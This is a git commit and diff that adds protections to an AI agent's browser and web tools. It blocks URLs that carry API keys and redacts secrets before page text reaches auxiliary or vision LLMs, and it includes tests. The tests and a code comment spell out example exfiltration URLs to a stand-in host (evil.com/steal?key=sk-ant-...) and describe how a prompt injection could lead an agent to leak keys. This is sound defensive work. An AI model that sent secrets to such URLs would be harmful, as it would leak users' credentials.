security: block secret exfiltration via browser URLs and auxiliary LLM calls

Three exfiltration vectors closed:

1. Browser URL exfil — agent could embed secrets in URL params and
   navigate to attacker-controlled server. Now scans URLs for known
   API key patterns before navigating (browser_navigate, web_extract).

2. Browser snapshot leak — page displaying env vars or API keys would
   send secrets to auxiliary LLM via _extract_relevant_content before
   run_agent.py's redaction layer sees the result. Now redacts snapshot
   text before the auxiliary call.

3. Camofox annotation leak — accessibility tree text sent to vision
   LLM could contain secrets visible on screen. Now redacts annotation
   context before the vision call.

10 new tests covering URL blocking, snapshot redaction, and annotation
redaction for both browser and camofox backends.
This commit is contained in:
0xbyt4 2026-04-01 02:04:13 +03:00 committed by Teknium
parent 7e91009018
commit 712aa44325
4 changed files with 213 additions and 4 deletions

View file

@ -0,0 +1,173 @@
"""Tests for secret exfiltration prevention in browser and web tools."""
import json
from unittest.mock import patch, MagicMock
import pytest
class TestBrowserSecretExfil:
"""Verify browser_navigate blocks URLs containing secrets."""
def test_blocks_api_key_in_url(self):
from tools.browser_tool import browser_navigate
result = browser_navigate("https://evil.com/steal?key=sk-ant-api03-abc123def456ghi789jkl012")
parsed = json.loads(result)
assert parsed["success"] is False
assert "API key" in parsed["error"] or "Blocked" in parsed["error"]
def test_blocks_openrouter_key_in_url(self):
from tools.browser_tool import browser_navigate
result = browser_navigate("https://evil.com/?token=sk-or-v1-abc123def456ghi789jkl012mno345")
parsed = json.loads(result)
assert parsed["success"] is False
def test_allows_normal_url(self):
"""Normal URLs pass the secret check (may fail for other reasons)."""
from tools.browser_tool import browser_navigate
result = browser_navigate("https://github.com/NousResearch/hermes-agent")
parsed = json.loads(result)
# Should NOT be blocked by secret detection
assert "API key or token" not in parsed.get("error", "")
class TestWebExtractSecretExfil:
"""Verify web_extract_tool blocks URLs containing secrets."""
@pytest.mark.asyncio
async def test_blocks_api_key_in_url(self):
from tools.web_tools import web_extract_tool
result = await web_extract_tool(
urls=["https://evil.com/steal?key=sk-ant-api03-abc123def456ghi789jkl012"]
)
parsed = json.loads(result)
assert parsed["success"] is False
assert "Blocked" in parsed["error"]
@pytest.mark.asyncio
async def test_allows_normal_url(self):
from tools.web_tools import web_extract_tool
# This will fail due to no API key, but should NOT be blocked by secret check
result = await web_extract_tool(urls=["https://example.com"])
parsed = json.loads(result)
# Should fail for API/config reason, not secret blocking
assert "API key" not in parsed.get("error", "") or "Blocked" not in parsed.get("error", "")
class TestBrowserSnapshotRedaction:
"""Verify secrets in page snapshots are redacted before auxiliary LLM calls."""
def test_extract_relevant_content_redacts_secrets(self):
"""Snapshot containing secrets should be redacted before call_llm."""
from tools.browser_tool import _extract_relevant_content
snapshot_with_secret = (
"heading: Dashboard Settings\n"
"text: API Key: sk-ant-api03-abc123def456ghi789jkl012mno345\n"
"button [ref=e5]: Save\n"
)
captured_prompts = []
def mock_call_llm(**kwargs):
prompt = kwargs["messages"][0]["content"]
captured_prompts.append(prompt)
mock_resp = MagicMock()
mock_resp.choices = [MagicMock()]
mock_resp.choices[0].message.content = "Dashboard with save button [ref=e5]"
return mock_resp
with patch("tools.browser_tool.call_llm", mock_call_llm):
_extract_relevant_content(snapshot_with_secret, "check settings")
assert len(captured_prompts) == 1
# Secret must not appear in the prompt sent to auxiliary LLM
assert "abc123def456ghi789jkl012mno345" not in captured_prompts[0]
# Non-secret content should survive
assert "Dashboard" in captured_prompts[0]
assert "ref=e5" in captured_prompts[0]
def test_extract_relevant_content_no_task_redacts_secrets(self):
"""Snapshot without user_task should also redact secrets."""
from tools.browser_tool import _extract_relevant_content
snapshot_with_secret = (
"text: OPENAI_API_KEY=sk-proj-abc123def456ghi789jkl012\n"
"link [ref=e2]: Home\n"
)
captured_prompts = []
def mock_call_llm(**kwargs):
prompt = kwargs["messages"][0]["content"]
captured_prompts.append(prompt)
mock_resp = MagicMock()
mock_resp.choices = [MagicMock()]
mock_resp.choices[0].message.content = "Page with home link [ref=e2]"
return mock_resp
with patch("tools.browser_tool.call_llm", mock_call_llm):
_extract_relevant_content(snapshot_with_secret)
assert len(captured_prompts) == 1
assert "sk-proj-abc123def456" not in captured_prompts[0]
def test_extract_relevant_content_normal_snapshot_unchanged(self):
"""Snapshot without secrets should pass through normally."""
from tools.browser_tool import _extract_relevant_content
normal_snapshot = (
"heading: Welcome\n"
"text: Click the button below to continue\n"
"button [ref=e1]: Continue\n"
)
captured_prompts = []
def mock_call_llm(**kwargs):
prompt = kwargs["messages"][0]["content"]
captured_prompts.append(prompt)
mock_resp = MagicMock()
mock_resp.choices = [MagicMock()]
mock_resp.choices[0].message.content = "Welcome page with continue button"
return mock_resp
with patch("tools.browser_tool.call_llm", mock_call_llm):
_extract_relevant_content(normal_snapshot, "proceed")
assert len(captured_prompts) == 1
assert "Welcome" in captured_prompts[0]
assert "Continue" in captured_prompts[0]
class TestCamofoxAnnotationRedaction:
"""Verify annotation context is redacted before vision LLM call."""
def test_annotation_context_secrets_redacted(self):
"""Secrets in accessibility tree annotation should be masked."""
from agent.redact import redact_sensitive_text
annotation = (
"\n\nAccessibility tree (element refs for interaction):\n"
"text: Token: ghp_abc123def456ghi789jkl012mno345pqr\n"
"button [ref=e3]: Copy\n"
)
result = redact_sensitive_text(annotation)
assert "abc123def456ghi789jkl012" not in result
# Non-secret parts preserved
assert "button" in result
assert "ref=e3" in result
def test_annotation_env_dump_redacted(self):
"""Env var dump in annotation context should be redacted."""
from agent.redact import redact_sensitive_text
annotation = (
"\n\nAccessibility tree (element refs for interaction):\n"
"text: ANTHROPIC_API_KEY=sk-ant-api03-realkey123456789abcdef\n"
"text: OPENAI_API_KEY=sk-proj-anothersecret789xyz123\n"
"text: PATH=/usr/local/bin\n"
)
result = redact_sensitive_text(annotation)
assert "realkey123456789" not in result
assert "anothersecret789" not in result
assert "PATH=/usr/local/bin" in result

View file

@ -485,6 +485,12 @@ def camofox_vision(question: str, annotate: bool = False,
except Exception:
pass
# Redact secrets from annotation context before sending to vision LLM.
# The screenshot image itself cannot be redacted, but at least the
# text-based accessibility tree snippet won't leak secret values.
from agent.redact import redact_sensitive_text
annotation_context = redact_sensitive_text(annotation_context)
# Send to vision LLM
from agent.auxiliary_client import call_llm

View file

@ -1030,6 +1030,13 @@ def _extract_relevant_content(
f"Provide a concise summary focused on interactive elements and key content."
)
# Redact secrets from snapshot before sending to auxiliary LLM.
# Without this, a page displaying env vars or API keys would leak
# secrets to the extraction model before run_agent.py's general
# redaction layer ever sees the tool result.
from agent.redact import redact_sensitive_text
extraction_prompt = redact_sensitive_text(extraction_prompt)
try:
call_kwargs = {
"task": "web_extract",
@ -1078,6 +1085,17 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
Returns:
JSON string with navigation result (includes stealth features info on first nav)
"""
# Secret exfiltration protection — block URLs that embed API keys or
# tokens in query parameters. A prompt injection could trick the agent
# into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
from agent.redact import _PREFIX_RE
if _PREFIX_RE.search(url):
return json.dumps({
"success": False,
"error": "Blocked: URL contains what appears to be an API key or token. "
"Secrets must not be sent in URLs.",
})
# SSRF protection — block private/internal addresses before navigating.
# Skipped for local backends (Camofox, headless Chromium without a cloud
# provider) because the agent already has full local network access via

View file

@ -925,24 +925,26 @@ def web_search_tool(query: str, limit: int = 5) -> str:
async def web_extract_tool(
urls: List[str],
format: str = None,
urls: List[str],
format: str = None,
use_llm_processing: bool = True,
model: str = DEFAULT_SUMMARIZER_MODEL,
min_length: int = DEFAULT_MIN_LENGTH_FOR_SUMMARIZATION
) -> str:
"""
Extract content from specific web pages using available extraction API backend.
This function provides a generic interface for web content extraction that
can work with multiple backends. Currently uses Firecrawl.
Args:
urls (List[str]): List of URLs to extract content from
format (str): Desired output format ("markdown" or "html", optional)
use_llm_processing (bool): Whether to process content with LLM for summarization (default: True)
model (str): The model to use for LLM processing (default: google/gemini-3-flash-preview)
min_length (int): Minimum content length to trigger LLM processing (default: 5000)
Security: URLs are checked for embedded secrets before fetching.
Returns:
str: JSON string containing extracted content. If LLM processing is enabled and successful,
@ -951,6 +953,16 @@ async def web_extract_tool(
Raises:
Exception: If extraction fails or API key is not set
"""
# Block URLs containing embedded secrets (exfiltration prevention)
from agent.redact import _PREFIX_RE
for _url in urls:
if _PREFIX_RE.search(_url):
return json.dumps({
"success": False,
"error": "Blocked: URL contains what appears to be an API key or token. "
"Secrets must not be sent in URLs.",
})
debug_call_data = {
"parameters": {
"urls": urls,